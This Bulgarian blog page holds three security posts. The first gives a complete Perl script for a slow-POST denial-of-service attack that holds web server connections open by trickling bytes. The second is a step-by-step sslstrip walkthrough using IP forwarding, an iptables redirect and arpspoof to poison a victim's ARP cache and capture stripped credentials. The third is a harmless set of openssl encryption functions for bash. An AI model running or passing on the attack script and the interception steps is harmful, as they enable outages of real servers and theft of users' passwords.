Показват се публикациите с етикет security. Показване на всички публикации
Показват се публикациите с етикет security. Показване на всички публикации

четвъртък, 21 април 2011 г.

POSTmortem

След като чух за атаката slowloris и в последствие за вариация при която се атакува пост заявката (което носи IIS bonus).
Започнах да издирвам начин за практическа проверка на атаката. Това доведе до откриването на rudy (R-U-Dead-Yet) който обаче се оказа твърде бъгъв и зле написан за да доведе до реални резултати.
За радост обаче аз не мога да пиша на perl което задължително означаваше, че ще опитам. Резултата е POSTmortem.

Употребата на всичко в поста и целия блог а и целия свят си е на ваша отговорност! Ако това ще ви накара да си мислите по-хубави неща за мен ... е тогава публикацията е от чисто научен характер и няма за цел да събори някой сървър.

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use threads;

my $host = "хоста за тест";
my $port = 80;
my $tcpto = 5;
my $post = "action скрипта който обработва пост заявката";

my $sock;
my $attack_param = "пост параметъра който ще тестваме";

my $a = 0;
my $i = 1;
my $num = 2; #брой нишки и съответно конекции (всяка яде по 1М рам)
my @thrs;
while ( $i < $num ) {
print "Spawning thread: $i\n";
$thrs[$i] = threads->create( \&conn);
  sleep 18; #интервал между събуждането на нова нишка
$i++;
}

print "waiting for threads to finish";
map {my $k = $_->join} threads->list;

sub conn {
my $primarypayload =
"POST /$post HTTP/1.1\r\n"
. "Host: $host\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  . "Content-Length: 100000000\r\n" #колкото повече толкова повече
. "Connection: keep-alive\r\n"
. "Cookie: ако се налага(формата е: нещо=нещо; нещо2=нещо–друго)\r\n"
. "\r\n"
. "$attack_param=\r\n";

if (
$sock = new IO::Socket::INET(
# LocalAddr => "$laddr",
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
print $sock "$primarypayload";
print "[-]Header Send!\n";
}
else {
print "[*]Error - Cannot create socket!\n";
}

while(1) {
sleep 10; #през колко време ще му пращаме по капка
print $sock "x"; #капката
}
} 

EOF  

TODO 
ако на някой му се занимава може да го направи да приема опциите от командния ред за да не се рови из кода и да напише всяка нишка да буди по повече от 1 конекция.  

sslstrip

Всичко написано в този пост се ползва на собствена отговорност и никой освен Вас няма да е виновен ако си счупите главата!(и като стана дума, това важи за информацията в целия блог)

Този пост е вдъхновен от пост на колегата Singu в http://chzv.net.
По-точно този пост http://chzv.net/security/sslstrip-over-wifi

Тук ще си говорим за по-различен случай при който дали атаката е върху wifi или не няма значение.

Целта е да се хваща стрипнат от ssl криптация поток от информация.

Ето упътване стъпка по стъпка:

1. Сваляме и разпакетираме инструмента - sslstrip:
# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
# tar zxvf sslstrip-0.7.tar.gz
Тук е момента да се чувствате като дете което отваря коледен подарък :)


2.  Настройки на системата, рутиране и sslstrip
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# python sslstrip.py -f -w sslcreds-captured

пренасочваме целят идващ трафик на порт 80 към порт 10000 (дефолтния порт за sslstrip и пускаме sslstrip да записва каквото си е намерил във файла sslcreds-captured

3. Време за отрова
# arpspoof -i eth0 -t 192.168.0.141 192.168.0.254

където 192.168.0.141 е жертвата а 192.168.0.254 - gateway-ят

4. Чакаме

5. Четем файла sslcreds-captured
Какво ли има там ?!

вторник, 19 април 2011 г.

Криптиране от команден (bash скрипт) ред в Linux

наскоро ми трябваше сигурен начин да криприрам информацията с която един bash скрип работи. Това което намерих са следните функции:

function encrypt {
  if [ -n "$1" ]; then
  openssl aes-256-cbc -a -salt -in "$1" -out "$1.enc"
  else
  openssl aes-256-cbc -a -salt
  fi
}

function decrypt {
  if [ -n "$1" ]; then
  openssl aes-256-cbc -a -d -in "$1" -out "${1%\.enc}" else
  openssl aes-256-cbc -a -d
  fi
}

разбира се може да се ползват и други алгоритми не само aes-256-cbc


ако поставим горните редове в .bashrc ще имаме възможност да изпълняваме команди от типа на:
за криптиране на архив
tar -czf - *|encrypt > allfiles.tgz.enc

за декриптиране
decrypt allfiles.tgz.enc

за декриптиране и разархивиране
cat allfiles.tgz.enc|dectypt|tar -xzf -